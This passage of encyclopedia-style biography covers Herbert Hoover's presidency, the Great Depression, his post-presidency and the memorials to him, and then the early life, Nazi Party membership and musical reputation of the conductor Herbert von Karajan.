          Historians agree Hoover's national reputation and the booming economy, combined with the deep splits in the Democratic party over religion and prohibition, guaranteed his landslide victory of 58% of the vote. Hoover even managed to crack the so-called "Solid South," winning such traditionally Democratic states as Florida, North Carolina, Virginia, Texas and Tennessee from Smith. As advertising executive Bruce Barton put it, "Americans knew they may have more fun with Smith, but that they would make more money with Hoover."


          Herbert Hoover's wife, Lou Henry Hoover, came to the White House unlike her predecessors as First Ladies. She had already carved out a reputation of her own, having graduated from Stanford as the only woman in her class with a degree in geology. Although she had never practiced her profession formally, she remained very much a new woman of the post-World War I era: intelligent, robust, and possessed of a sense of female possibilities.


          On poverty, Hoover promised: "We in America today are nearer to the final triumph over poverty than ever before in the history of any land." Within months, the Stock Market Crash of 1929 occurred, and the nation's economy spiraled downward into what became known as the Great Depression.


          


          Presidency 1929-1933


          


          Policies


          A dedicated Progressive and Reformer, Hoover saw the presidency as a vehicle for improving the conditions of all Americans by regulation and by encouraging volunteerism. Long before he entered politics he denounced laissez-faire thinking, as Commerce Secretary he took an active pro-regulation stance, and as President he saw tariff and farm support bills through Congress.
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          Hoover expanded civil service coverage, canceled private oil leases on government lands, and by instructing the Justice Department and the Internal Revenue Service to go after gangsters for tax evasion he enabled the prosecution of gangster Al Capone. He appointed a commission which set aside 3 million acres (12,000 km) of national parks and 2.3 million acres (9,000 km) of national forests; advocated tax reduction for low-income Americans (not enacted); closed certain tax loopholes for the wealthy; doubled the number of veteran's hospital facilities; negotiated a treaty on St. Lawrence Seaway (which failed in the U.S. Senate); wrote a Children's Charter that advocated protection of every child regardless of race or gender; built the San Francisco  Oakland Bay Bridge; created an antitrust division in the Justice Department; required air mail carriers to adopt stricter safety measures and improve service; proposed federal loans for urban slum clearances (not enacted); organized the Federal Bureau of Prisons; reorganized the Bureau of Indian Affairs; instituted prison reform; proposed a federal Department of Education (not enacted); advocated fifty-dollar-per-month pensions for Americans over 65 (not enacted); chaired White House conferences on child health, protection, homebuilding and homeownership; began construction of the Boulder Dam (later renamed Hoover Dam); and signed the Norris-La Guardia Act that limited judicial intervention in labor disputes.


          


          Hoover's humanitarian and Quaker reputationalong with a Native American vice presidentgave special meaning to his Indian policies. His Quaker upbringing influenced his views that Native Americans needed to achieve economic self-sufficiency. As President, he appointed Charles J. Rhoads as commissioner of Indian affairs. Hoover supported Rhoads' commitment to Indian assimilation and sought to minimize the federal role in Indian affairs. His goal was to have Indians acting as individuals (not as tribes) and assume the responsibilities of citizenship which had been granted with the Indian Citizenship Act of 1924.


          In the foreign arena, Hoover began formulating what would later become Roosevelt's Good Neighbour policy following the 1930 release of the Clark Memorandum, by withdrawing American troops from Nicaragua and Haiti; he also proposed an arms embargo on Latin America and a one-third reduction of the world's naval power, which was called the Hoover Plan. The Roosevelt Corollary ceased being part of U.S. foreign policy. In response to the Japanese invasion of Manchuria, he and Secretary of State Henry Stimson outlined the Hoover-Stimson Doctrine that said the United States would not recognize territories gained by force. Between his election and his inauguration as President, Hoover broke precedent by undertaking a goodwill tour of many Latin American countries.


          During his presidency, he mediated between Chile and Peru to solve a conflict on the sovereignty of Arica and Tacna that in 1883 by the Treaty of Ancn had been awarded to Chile for ten years, to be followed by a plebiscite that had never happened. By the Tacna-Arica compromise at the Treaty of Lima in 1929, Chile kept Arica, and Peru regained Tacna.


          


          Great Depression


          The economy was put to the test with the onset of the Great Depression in the United States in 1929. At the outset of the depression, Hoover rejected Treasury Secretary Mellon's suggested "leave-it-alone" approach, but at the same time he declined to pursue legislative relief, believing that it would make people dependent on the federal government. Instead he organized a number of voluntary measures, encouraged state and local government responses, and accelerated federal building projects. Only toward the end of his term did he support a series of legislative reconstruction bills, which represented the largest federal economic intervention to date.
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          Together government and business actually spent more in the first half of 1930 than the previous year. Frightened consumers cut back their expenditures by ten percent. A severe drought ravaged the agricultural heartland beginning in the summer of 1930. The combination of these factors caused a downward spiral, as earnings fell, smaller banks collapsed, and mortgages went unpaid. Hoover's hold-the-line policy in wages lasted little more than a year. Unemployment soared from five million in 1930 to over eleven million in 1931. A sharp recession had become the Great Depression.


          In 1930 Hoover signed the Smoot-Hawley Tariff Act, which raised tariffs on over 20,000 dutiable items, despite the protests of economists. Major trading partners, like Canada, immediately retaliated. The tariff, combined with the 1932 Revenue Act, which hiked taxes and fees across the board, is often blamed for deepening the depression. It brought on a wave of retaliation and choked world trade.


          Hoover's stance on the economy was based on volunteerism. From before his entry to the presidency, he was among the greatest proponents of the concept that public-private cooperation was the way to achieve high long-term growth. Hoover feared that too much intervention or coercion by the government would destroy individuality and self-reliance, which he considered to be important American values. Though he was not averse to taking action which he considered was in the public good, such as regulating radio broadcasting and aviation, he preferred a voluntary, non-government approach to economic recovery. As if to prove the president's point, the First Lady exhorted her forces to service. She pressed the more than 250,000 Girl Scouts nationwide to join in relief work and helped to promulgate the Rapidan Plan in 1931 to achieve that end. As the First Lady used the radio, she rallied support for volunteerism, encouraging groups such as the 4-H clubs to devote themselves to local relief. Behind the scenes, she mobilized informal networks of friends and women's organizations and ensured that appeals to the White House found their way to local sources of aid.


          In June 1931, to deal with a very serious banking collapse in Vienna that threatened to cause a worldwide financial meltdown, Hoover issued the Hoover Moratorium that called for a one-year halt in reparations payments by Germany to France and in the payment of Allied war debts to the United States. The Hoover Moratorium had the effect of temporarily stopping the banking collapse in Europe. In June 1932, a conference canceled all reparations payments by Germany.


          The following is an outline of other actions Hoover took to try to help end the Depression through government intervention:


          
            	Raised tariffs, in accordance with his election-year promise, by signing the Smoot-Hawley Tariff Act.


            	Increased subsidies to the nation's farmers with the Agricultural Marketing Act.


            	Signed the Emergency Relief and Construction Act, the nation's first Federal unemployment assistance.


            	Increased public works spending. Some of Hoover's efforts to stimulate the economy through public works are as follows:

              
                	Asked Congress for a $400 million increase in the Federal Building Program


                	Directed the Department of Commerce to establish a Division of Public Construction in December 1929


                	Increased subsidies for ship construction through the Federal Shipping Board


                	Urged the state governors to also increase their public works spending, though many failed to take any action.

              

            


            	Signed the Federal Home Loan Bank Act establishing the Federal Home Loan Bank system to assist citizens in obtaining financing to purchase a home.


            	Established the President's Emergency Relief Organization to coordinate local private relief efforts resulting in over 3,000 relief committees across the U.S.


            	Authorized the repatriation to Mexico of 1-2 million people living in barrios throughout California, Texas and Michigan, 60% of whom were U.S. citizens of Mexican-descent, in an effort to ease unemployment.


            	Urged bankers to form the National Credit Corporation to assist banks in financial trouble and protect depositors' money.


            	Actively encouraged businesses to maintain high wages during the Depression, in line with the philosophy, called Fordism, that high wages create prosperity. Most corporations maintained their workers' wages early in the Depression in the hope that more money into the pockets of consumers would end the economic downturn.


            	Signed the Reconstruction Finance Act. This act established the Reconstruction Finance Corporation, which made loans to the states for public works and unemployment relief. In addition, the corporation made loans to banks, railroads and agriculture credit organizations.

          


          Although Hoover's stablization efforts exceeded those of any previous federal administration, Roosevelt would attack Hoover for "doing nothing," a view that has persisted ever since.


          


          Economy


          In order to pay for these and other government programs, Hoover agreed to one of the largest tax increases in American history. The Revenue Act of 1932 raised income tax on the highest incomes from 25% to 63%. The estate tax was doubled and corporate taxes were raised by almost 15%. Also, a "check tax" was included that placed a 2-cent tax (over 30 cents in today's dollars) on all bank checks. Economists William D. Lastrapes and George Selgin, conclude that the check tax was "an important contributing factor to that period's severe monetary contraction." Hoover also encouraged Congress to investigate the New York Stock Exchange, and this pressure resulted in various reforms.
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          For this reason, years later libertarians argued that Hoover's economics were statist. Franklin D. Roosevelt blasted the Republican incumbent for spending and taxing too much, increasing national debt, raising tariffs and blocking trade, as well as placing millions on the dole of the government. Roosevelt attacked Hoover for "reckless and extravagant" spending, of thinking "that we ought to centre control of everything in Washington as rapidly as possible," and of leading "the greatest spending administration in peacetime in all of history." Roosevelt's running mate, John Nance Garner, accused the Republican of "leading the country down the path of socialism".


          These policies pale beside the more drastic steps taken later as part of the New Deal. Hoover's opponents charge that his policies came too little, and too late, and did not work. Even as he asked Congress for legislation, he reiterated his view that while people must not suffer from hunger and cold, caring for them must be primarily a local and voluntary responsibility.


          Even so, New Dealer Rexford Tugwell later remarked that although no one would say so at the time, "practically the whole New Deal was extrapolated from programs that Hoover started."


          Unemployment rose to 24.9% by the end of Hoover's presidency in 1933, at the depth of the Great Depression. Hoover also vetoed the Muscle Shoals Bill in 1931, which would have provided cheap energy to the Tennessee river valley, which could have silenced some critics.


          [bookmark: 1932_campaign]


          1932 campaign


          


          Although Hoover had come to detest the presidency, he agreed to run again in 1932, both as a matter of pride, but also because he feared that no other likely Republican candidate would deal with the depression without resorting to dangerously radical measures.


          Hoover was nominated by the Republicans for a second term. He had originally planned to make only one or two major speeches, and to leave the rest of the campaigning to proxies, but when polls showed the entire Republican ticket facing a resounding defeat at the polls, Hoover agreed to an expanded schedule of public addresses. In his nine major radio addresses Hoover primarily defended his administration and his philosophy. The apologetic approach did not allow Hoover to refute Franklin Roosevelt's charge that he was personally responsible for the depression.


          In his campaigns around the country, Hoover was faced with perhaps the most hostile crowds any sitting president had ever faced. In addition to having his train and motorcades pelted with eggs and rotten fruit, he was often heckled while speaking, and on several occasions, the Secret Service halted attempts to kill Hoover by disgruntled citizens, including capturing one man nearing Hoover carrying sticks of dynamite, and another actually already having removed several spikes from the rails in front of the President's train.


          


          Bonus Army


          Thousands of World War I veterans and their families demonstrated and camped out in Washington, D.C., during June 1932, calling for immediate payment of a bonus that had been promised by the Adjusted Service Certificate Law for payment in 1924. Although offered money by Congress to return home, some members of the " Bonus army" remained. Washington police attempted to remove the demonstrators from their camp, but they were outnumbered and thereby unsuccessful. Shots were fired by the police in a futile attempt to attain order, and two protesters were killed while many officers were injured. Hoover sent U.S. Army forces led by General Douglas MacArthur and helped by junior officers Dwight D. Eisenhower and George S. Patton to stop a march. MacArthur, believing he was fighting a communist revolution, chose to clear out the camp with military force. In the ensuing clash, hundreds of civilians were injured. Hoover had actually sent orders that the Army was to not move on the encampment, but MacArthur chose to ignore the command. Hoover was incensed, but refused to reprimand MacArthur. The entire incident was another devastating negative for Hoover in the 1932 election. That led New York governor and Democratic presidential candidate Franklin Roosevelt to declare of Hoover: "There is nothing inside the man but jelly!"


          Hoover suffered a large defeat at the election, obtaining 39.7% of the popular vote to Roosevelt's 57.4%. Hoover's popular vote was reduced by 26% from his result in the 1928 election. In the electoral college he carried only a handful of Northeast states and lost 59 - 472. The Democrats also extended their control over the U.S. House and gained control of the U.S. Senate.


          


          Administration and cabinet
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          Supreme Court appointments


          Hoover appointed the following Justices to the Supreme Court of the United States:


          
            	Charles Evans Hughes ( Chief Justice)  1930


            	Owen Josephus Roberts  1930


            	Benjamin Nathan Cardozo  1932

          


          Hoover broke party lines to appoint the Democrat Cardozo. He explained that he "was one of the ancient believers that the Supreme Court should have a strong minority of the opposition's party and that all appointments should be made from experienced jurists. When the vacancy came... [Hoover] canvassed all the possible Democratic jurists and immediately concluded that Justice Cardozo was the right man and appointed him."


          


          Post presidency


          Hoover departed from Washington in March of 1933 with some bitterness, disappointed both that he had been repudiated by the voters and unappreciated for his best efforts. The Hoovers went first to New York City, where they settled into the Waldorf-Astoria Hotel. Later that spring, the Hoovers returned to California to live in their home at Palo Alto.


          


          Hoover liked to get behind the wheel of his car, accompanied only by his wife or a friend (former presidents did not get Secret Service protection until the 1960s), and drive for hundreds or thousands of miles on wandering journeys, visiting Western mining camps or small towns where he often went unrecognized, or heading up to the mountains or deep into the woods to go fishing in relative solitude. A year before his death, his own fishing days behind him, he published Fishing For Fun  And To Wash Your Soul, the last of his more than 16 books.


          Although many of his friends and supporters called upon Hoover to speak out against Franklin Delano Roosevelt's (FDR) " New Deal" and to assume his place as the voice of the loyal opposition, he refused for many months after leaving the White House, and largely kept himself out of the public spotlight until late in 1934. However, that did not stop rumors from springing up about him, often fanned by Democratic politicians who found the former President to be a convenient scapegoat. One rumor had it that he had attempted to flee the country in a yacht with $5 million in gold, another that the Federal Bureau of Investigation had arrested him and placed him in protective custody "for his own safety."


          The relationship between Hoover and Roosevelt was one of the most strained between presidents ever. While Hoover had little good to say about his successor, there was little he could do beyond hurling epithets at him. FDR, however, could and did engage in various petty official acts aimed at his predecessor, ranging from dropping him from the White House birthday greetings message list to having Hoover's name struck from the Hoover Dam along the Nevada/ Arizona border, which would officially be known only as Boulder Dam for many years to come.


          In 1936, Hoover entertained hopes of receiving the Republican presidential nomination, and thus facing Roosevelt in a rematch. However, although he retained strong support among some delegates, there was never much hope of him being selected. He publicly endorsed the nominee, Kansas Governor Alf Landon, although privately he worried that Landon was too willing to accept the New Deal policies. But Hoover might very well have been the nominee, as the Democrats virtually ignored Landon and ran against the former President himself, constantly attacking him in speeches and warning that a Landon victory would put Hoover back in the White House as the secret power behind the throne. Roosevelt won 46 of the 48 states, burying Landon and the Republican Party in another landslide.


          Although Hoover's reputation was at its low point, circumstances would now begin to develop that would help rehabilitate his name and restore him to a position of prominence in the life of the nation. Roosevelt overreached on his Supreme Court packing plan, and a recession in 1937 and 1938 tarnished his image of invincibility.


          By 1940, Hoover was again being spoken of as the possible nominee of the party. Although he trailed in the polls behind Thomas Dewey, Arthur Vandenberg, and his own former protege, Robert A. Taft, he still had considerable first ballot delegate strength, and it was believed that if the convention deadlocked between the leading candidates, the party might turn to him as its compromise. However, the convention nominated utility president Wendell Willkie, who had supported Roosevelt in 1932 but turned against him after the creation of the Tennessee Valley Authority forced him to sell his company. Hoover dutifully supported Willkie, although he despaired that the nominee endorsed a platform that, to Hoover, was little more than the New Deal in all but name. Following 1940, Hoover never again considered holding public office, even when the opportunity to return presented itself.


          


          World War II


          With the outbreak of war in Europe in 1939, Hoover joined with the majority of Americans to declare for neutrality from the conflict. Like many, he initially believed that the Allies would be able to contain Germany. But when the Nazis overran France and had Britain involved in a stalemate, though many Americans wished to see Britain as on the verge of collapse in 1940, Hoover declared that it would be folly for the United States to declare war on Germany and to rush to save the UK. Rather, he held, it was far wiser for the nation to devote itself to building up its own defenses, and to wash its hands of the mess in Europe. He called for a "Fortress America" concept, in which the U.S., protected East and West by vast oceans and patrolled by its navy and air corps, could adequately repel any attack on the hemisphere. Hoover publicly opposed Roosevelt's peacetime draft, the Lend-Lease Program, and the "shoot on sight" command which FDR gave the Navy should they cross paths with any German U-boats in the shipping lanes between the United States and the British Isles, as threats to America's official neutrality.


          In spite of his professed neutrality, Hoover despised the Nazi leader Adolf Hitler. He had privately met the Fhrer while visiting Germany several years before, and he came away from their meeting singularly unimpressed with Hitler's intellect. Hoover likewise had little more than contempt for Hitler's ally, Italian dictator Benito Mussolini.


          With the entry of the United States into the war in December 1941 after the attack on Pearl Harbour, Hoover swept aside all feelings of neutrality and called for total victory. He offered himself to the government in any capacity necessary, but the Roosevelt Administration did not call upon him to serve.


          


          Post World War II
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          Based on Hoover's previous experience with Germany at the end of World War I, in 1946 - 47 President Harry S. Truman selected Hoover to tour Germany in order to ascertain the food status of the occupied nation. Hoover toured what was to become West Germany in Field Marshal Herman Gring's old train coach and produced a number of reports sharply critical of U.S. occupation policy. The economy of Germany had "sunk to the lowest level in a hundred years." He stated in one report:


          
            	"There is the illusion that the New Germany left after the annexations can be reduced to a ' pastoral state'. It cannot be done unless we exterminate or move 25,000,000 people out of it.".

          


          As the Cold War deepened, Hoover expressed reservations about some of the activities of the American Friends Service Committee, which he previously had strongly supported.


          On Hoovers initiative, a school meals program in the U.S. and British occupation zones of Germany was begun on 14 April 1947. The program served 3.5 million children ages 6 through 18. A total of 40,000 tons of American food was made available during the Hooverspeisung (Hoover meals).


          In 1947, President Harry S. Truman appointed Hoover to a commission, which elected him chairman, to reorganize the executive departments. This became known as the Hoover Commission. He was appointed chairman of a similar commission by President Dwight D. Eisenhower in 1953. Both found numerous inefficiencies and ways to reduce waste, but Hoover was disappointed that the government did not enact most of the recommendations the commissions made.


          In 1949, New York Governor Thomas E. Dewey offered Hoover a seat in the U.S. Senate, to fulfill an unexpired term; Hoover declined.


          Following the war, Hoover became friends with President Harry Truman. Hoover joked that they were for many years the sole members of the trade union of former Presidents.


          Throughout the Cold War, Hoover, always an opponent of Marxism, became even more outspokenly anti-Communist. Despite his advancing years, he continued to work nearly full-time both on his writing (among his literary works is The Ordeal of Woodrow Wilson, a bestseller, and the first time one former president had ever written a biography about another), as well as overseeing the Hoover Institution at Stanford University, which housed not only his own professional papers, but those of a number of other former high ranking governmental and military servants. He also threw himself into fund raising for the Boys Clubs (now the Boys & Girls Clubs of America), which became his pet charity.


          In 1960, he appeared at his final Republican National Convention. Since the 1948 gathering, he had been feted as the guest of "farewell" ceremonies (the unspoken assumption being that the aging former President might not survive until the next convention). Joking to the delegates, he said, "Apparently, my last three goodbyes didn't take." Although he lived to see the 1964 convention, ill health prevented him from attending; nominee Barry Goldwater acknowledged Hoover's absence in his acceptance speech.


          Hoover died at the age of 90 in New York City at 11:35 a.m. on October 20, 1964, 31 years and seven months after leaving office. He had outlived his wife, the former Lou Henry, by 20 years, who died in 1944, and was the last living member of both the Harding and Coolidge administrations. By the time of his death, he had rehabilitated his image. His birthplace in Iowa, as well as a home he lived in as a child in Oregon, became national landmarks during his lifetime. His Rapidan fishing camp in Virginia, which he had donated to the government in 1933, is now a National Historic Landmark within Shenandoah National Park. As of 2008, he had the longest retirement of any President. Hoover and his wife are buried at the Herbert Hoover Presidential Library and Museum in West Branch, Iowa. Hoover was honored with a state funeral, the last of three in a span of 12 months, coming as it did just after the deaths of John F. Kennedy and Douglas MacArthur.


          


          Heritage and memorials


          The Herbert Hoover Presidential Library and Museum is the Presidential library of Herbert Hoover, the 31st President of the United States. Located in West Branch, Iowa next to the Herbert Hoover National Historic Site, the library is one of twelve presidential libraries run by the National Archives and Records Administration. The Lou Henry and Herbert Hoover House, built in 1919 in Palo Alto, California, is now the official residence of the president of Stanford University, and a National Historic Landmark. Hoover's rustic rural presidential retreat, Rapidan Camp (also known as Camp Hoover) in the Shenandoah National Park in Virginia, has recently been restored and opened to the public. The Hoover Dam was also named in his honour.


          


          Schools named for Herbert Hoover


          
            	Hoover Middle School, Oklahoma City, Oklahoma


            	Hoover Elementary, Enid, Oklahoma


            	Herbert Hoover High School, San Diego, California


            	Herbert Hoover High School, Falling Rock, Kanawha County, West Virginia


            	Hoover Elementary, West Branch, Iowa


            	Herbert Hoover Elementary, Bettendorf, Iowa


            	Hoover Elementary, Iowa City, Iowa


            	Herbert Hoover Elementary, Dubuque, Iowa


            	Herbert Hoover High School, Fresno, California


            	Herbert Hoover Elementary, Palo Alto, California


            	Herbert Hoover High School, Des Moines, Iowa


            	Hoover Middle School, Waterloo, Iowa


            	Herbert Hoover Middle School, Edison, New Jersey


            	Herbert C. Hoover Middle School, Indialantic, Florida


            	Herbert Hoover High School, Glendale, California


            	Herbert-Hoover-Oberschule, Berlin, Germany


            	Hoover Institution, Stanford University, Stanford, California


            	Herbert Hoover Elementary School, New Berlin, Wisconsin


            	Herbert Hoover Elementary School, Tulsa, Oklahoma


            	Herbert Hoover Middle School, San Francisco, California


            	Hoover Elementary, Mason City, Iowa


            	Hoover Elementary School, North Mankato, Minnesota


            	Herbert Hoover Elementary School, Tonawanda (town), New York


            	Herbert Hoover High School , Ruda Slaska , Poland


            	Hoover Elementary, Santa Ana, California


            	Herbert-Hoover-Schule Elementary School, Eschenburg-Hirzenhain, Germany


            	Hoover Middle School, Mt. Lebanon Pittsburgh, Pennsylvania


            	Herbert Hoover High School, Elkview, West Virginia


            	Hoover Elementary, Corvallis, Oregon


            	Hoover Elementary, Medford, Oregon


            	Herbert Hoover Middle School, Potomac, Maryland


            	Hoover Elementary School, Cedar Rapids, Iowa


            	Hoover middle school,Lakewood,Ca.


            	Hoover Elementary School, Rochester, Minnesota.


            	Herbert Hoover Middle School, San Jose, California
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          Herbert von Karajan ( April 5, 1908  July 16, 1989) was an Austrian orchestra and opera conductor, one of the most renowned 20th century conductors. His obituary in the New York Times described him as "probably the world's best-known conductor and one of the most powerful figures in classical music." Karajan conducted the Berlin Philharmonic for thirty-five years.


          


          Biography


          


          Genealogy


          Herbert von Karajan was the son of an upper-bourgeois Salzburg family. The Karajan family is said to have originally been Aromanian ( Vlach) or Greek, from the region of Macedonia . His great-great-grandfather, Georg Johannes Karajanis was born in Kozani, a town in the Ottoman province of Rumelia,(present West Macedonia in Greece), leaving for Vienna in 1767, and eventually Chemnitz, Saxony. He and his brother participated in the establishment of Saxony's cloth industry, and both were ennobled for their services by Frederick Augustus III on June 1, 1792, thus the prefix " von" to the family name. The Karajanis name became Karajan.


          


          Early years


          Karajan was born in Salzburg, Austria as Heribert Ritter von Karajan. He was a child prodigy in piano. From 1916 to 1926, he studied at the Mozarteum in Salzburg, where he was encouraged to study conducting.


          In 1929, he conducted Salome at the Festspielhaus in Salzburg, and from 1929 to 1934, Karajan served as first Kapellmeister at the Stadttheater in Ulm. In 1933, Karajan made his conducting debut at the Salzburg Festival with the Walpurgisnacht Scene in Max Reinhardt's production of Faust. The following year, and again in Salzburg, Karajan led the Vienna Philharmonic for the first time, and from 1934 to 1941, Karajan conducted opera and symphony concerts at the Aachen opera house.


          In March of 1935, Karajan's career was given a significant boost when he applied for membership in the Nazi Party. That same year, Karajan was appointed Germany's youngest Generalmusikdirektor and was a guest conductor in Bucharest, Brussels, Stockholm, Amsterdam, and Paris . Moreover, in 1937, Karajan made his debut with the Berlin Philharmonic and the Berlin State Opera with Fidelio. He enjoyed a major success in the State Opera with Tristan und Isolde and in 1938, his performance of the opera was hailed by a Berlin critic as Das Wunder Karajan (The Karajan miracle), claiming that his "success with Wagner's demanding work Tristan und Isolde sets himself alongside Furtwngler and de Sabata, the greatest opera conductors in Germany at the present time". Receiving a contract with Deutsche Grammophon that same year, Karajan made the first of numerous recordings by conducting the Staatskapelle Berlin in the overture to Die Zauberflte. Adolf Hitler did not appreciate Von Karajan's performance of Die Meistersinger June 1939 according to Winifred Wagner because Karajan who was conducting without a score lost his way, the singers halted, the curtain was rung down in confusion. According to Winifred Wagner Hitler decided that Von Karajan was not ever to conduct at the annual Bayreuth festival. However as a favourite of Hermann Gring he would continue his work as conductor of the Staatkapelle (1941-1945), the orchestra of the Berlin State Opera, where he would accompany about 150 opera performances in total.


          Karajans Heldensonate, composed shortly after the German invasion of Austria, and which he had originally titled "Anschlu-Sonate", was performed in 1938 at one of the Wahnfried receptions Hitler attended annually. That work's only published recording was an April Fool's Day selection for the MusicWeb reviewing site. Its provenance is unclear, and it is not even clear that this disc has ever actually been auditioned.


          On October 22, 1942 at the height of the war, Karajan married Anita Gtermann, the daughter of a well-known sewing machine magnate, and who, having a Jewish grandfather, was considered Vierteljdin (one-quarter Jewish). After the wedding, the NSDAP decided that she was to become one of Germany's five "honorary Aryans". By 1944, he was, according to Karajan, on the outs with the Nazi leaders, but Karajan still conducted concerts in wartime Berlin on Feb 18, 1945 and fled Germany with Anita for Milan a short time later. Karajan and Anita divorced in 1958.


          Karajan was deposed by the Austrian denazification examining board on March 18, 1946 and resumed his conducting career shortly thereafter.


          


          Postwar years


          In 1946, Karajan gave his first post-war concert, in Vienna with the Vienna Philharmonic, but he was banned from further conducting activities by the Russian occupation authorities because of his Nazi party membership. That summer, he participated anonymously in the Salzburg Festival. The following year, he was allowed to resume conducting.


          In 1948, Karajan became artistic director of the Gesellschaft der Musikfreunde, Vienna. He also conducted at La Scala in Milan. However, his most prominent activity at this time was recording with the newly-formed Philharmonia Orchestra in London, helping to build them into one of the world's finest. Starting from this year, Karajan began lifetime long attendance of the Lucerne Festival.


          In 1951 and 1952, he conducted again at the Bayreuth Festspielhaus.


          In 1955, he was appointed music director for life of the Berlin Philharmonic as successor to Wilhelm Furtwngler. From 1957 to 1964, he was artistic director of the Vienna State Opera. He was closely involved with the Vienna Philharmonic and the Salzburg Festival, where he initiated the Easter Festival, which would remain tied to the Berlin Philharmonic's Music Director after his tenure. He continued to perform, conduct, and record prolifically until his death in 1989. Karajan's final years however were devoted exclusively to the Vienna Philharmonic after a much-publicised falling-out with the Berlin Philharmonic over their refusal to admit clarinettist Sabine Meyer, a Karajan protege.


          


          Karajan and the compact disc


          Karajan played an important role in the development of the original compact disc digital audio format. He championed this new consumer playback technology, lent his prestige to it, and appeared at the first press conference announcing the format. Early CD prototypes had a play time limited to sixty minutes. It is often asserted that the decision to extend the maximum playing time of the compact disc to its standard of seventy-four minutes was achieved in order to adequately accommodate Beethoven's Ninth Symphony. This, however, is denied by Kees Immink, who co-invented the CD.


          


          Nazi Membership


          Karajan's membership in the Nazi Party and increasingly prominent career in Germany from 1933 to 1945 cast him in an uncomplimentary light after the war. While Karajan's defenders have argued that he joined the Nazis only to advance his own career, his critics have pointed out that other, more prominent conductors such as Bruno Walter, Erich Kleiber and Arturo Toscanini, fled from fascist Europe at the time. It should be noted, however, that many famous conductors worked in Germany throughout the war years, including Furtwngler, Ansermet, Schuricht, Bhm, Knappertsbusch, Clemens Krauss, Rother and Elmendorff.


          Some have argued that careerism could not have been Karajan's sole motivation, since he first joined the Nazi Party in 1933 in Salzburg, Austria, five years before the Anschluss. In The Cultural Cold War, published in Britain as Who Paid the Piper?, Frances Stonor Saunders noted that Karajan "had been a party member since 1933, and never hesitated to open his concerts with the Nazi favourite ' Horst Wessel Lied.'" However, Richard Osborne's full-length biography has documented conclusively that he joined the Party as late as 1935, as a precondition for attaining the directorship in Aachen. Previously, he had filed for membership in 1933-- probably to shore up his career in Ulm during a month marked by purges of cultural leaders from orchestras, opera houses, and universities-- but appears to have made no subsequent effort to pursue the application. In addition, although he notoriously did open a Paris concert with the Horst Wessel Lied, he had a history of avoiding political or nationalistic gestures at performances wherever possible.


          Musicians such as Isaac Stern, Arthur Rubinstein, and Itzhak Perlman refused to play in concerts with Karajan because of his Nazi past. Some have questioned whether Karajan was committed to the Nazi cause given the fact of his marriage in 1942 to Anita Guetermann, partly of Jewish origin. Evidence suggests that he received several threats to his career as a result of the engagement, and had attempted resignation from the Nazi Party when questioned about it.


          


          Musicianship


          There is widespread agreement that Herbert von Karajan had a special gift for extracting beautiful sounds from an orchestra. Opinion varies concerning the greater aesthetic ends to which The Karajan Sound was applied. The American critic Harvey Sachs criticized the Karajan approach as follows:


          
            	Karajan seemed to have opted instead for an all-purpose, highly refined, lacquered, calculatedly voluptuous sound that could be applied, with the stylistic modifications he deemed appropriate, to Bach and Puccini, Mozart and Mahler, Beethoven and Wagner, Schumann and Stravinsky... many of his performances had a prefabricated, artificial quality that those of Toscanini, Furtwngler, and others never had... most of Karajan's records are exaggeratedly polished, a sort of sonic counterpart to the films and photographs of Leni Riefenstahl.

          


          However, it has been argued by commentator Jim Svejda and others that Karajan's pre-1970 manner did not seem as calculatedly polished as it is later alleged to have become.


          Two reviews from the Penguin Guide to Compact Discs can be quoted to illustrate the point.


          
            	Concerning a recording of Wagner's Tristan und Isolde, a canonical Romantic work, the Penguin authors wrote "Karajan's is a sensual performance of Wagner's masterpiece, caressingly beautiful and with superbly refined playing from the Berlin Philharmonic" and it is listed in first place on pages 1586-7 of the 1999 Penguin Guide to Compact Discs

          


          
            	About Karajan's recording of Haydn's "Paris" symphonies, the same authors wrote, "big-band Haydn with a vengeance ... It goes without saying that the quality of the orchestral playing is superb. However, these are heavy-handed accounts, closer to Imperial Berlin than to Paris ... the Minuets are very slow indeed ... These performances are too charmless and wanting in grace to be whole-heartedly recommended."

          


          The same Penguin Guide does nevertheless give the highest compliments to von Karajan's recordings of the selfsame Haydn's two oratorios, The Creation and The Seasons.


          As for twentieth century music, Karajan was criticized for having conducted and recorded pre-1945 works almost exclusively ( Mahler, Schoenberg, Berg, Webern, Bartk, Sibelius, Richard Strauss, Puccini, Ildebrando Pizzetti, Arthur Honegger, Prokofiev, Debussy, Ravel, Paul Hindemith, Carl Nielsen and Stravinsky), although he did record Shostakovich's Symphony No. 10 (1953) twice, and did premiere Carl Orff's "De Temporum Fine Comoedia" in 1973.


          


          Professional behaviour


          Some critics, particularly British critic Norman Lebrecht, charged Karajan with initiating a devastating inflationary spiral in performance fees. During his tenure as director of publicly-funded performing organizations such as the Vienna Philharmonic, the Berlin Philharmonic, and the Salzburg Festival, he started paying guest stars exorbitantly, as well as ratcheting up his own remuneration:


          
            	Once he possessed orchestras he could have them produce discs, taking the vulture's share of royalties for himself and rerecording favorite pieces for every new technology: digital LPs, CD, videotape, laserdisc. In addition to making it difficult for other conductors to record with his orchestras, von Karajan also drove up the prices that he would be paid and thus other conductors wanted.

          


          During a recording session of the Beethoven Triple Concerto with David Oistrakh, Sviatoslav Richter and Mstislav Rostropovich, pianist Richter demanded an extra take, to which Karajan replied "No, no, we haven't got time, we've still got to do the photographs." This did not prevent violinist Oistrakh from saying, when Karajan turned 65, that he was "the greatest living conductor, a master in every style."


          Finally, Karajan was held by some to be excessively egotistical. When he conducted Wagner at the Metropolitan Opera, he raised the conductor's stand to place himself in the line of sight of the audience; in operatic recordings of Verdi, he changed the balance so as to bring the sound of the orchestra forward in the final mix, all to emphasize his role in the music-making. Critics compare him with Leonard Bernstein, claiming that both conductors were "unequaled in their mastery of podium histrionics." As evidenced by many video recordings, he also often conducted with his eyes closed.


          


          In popular culture


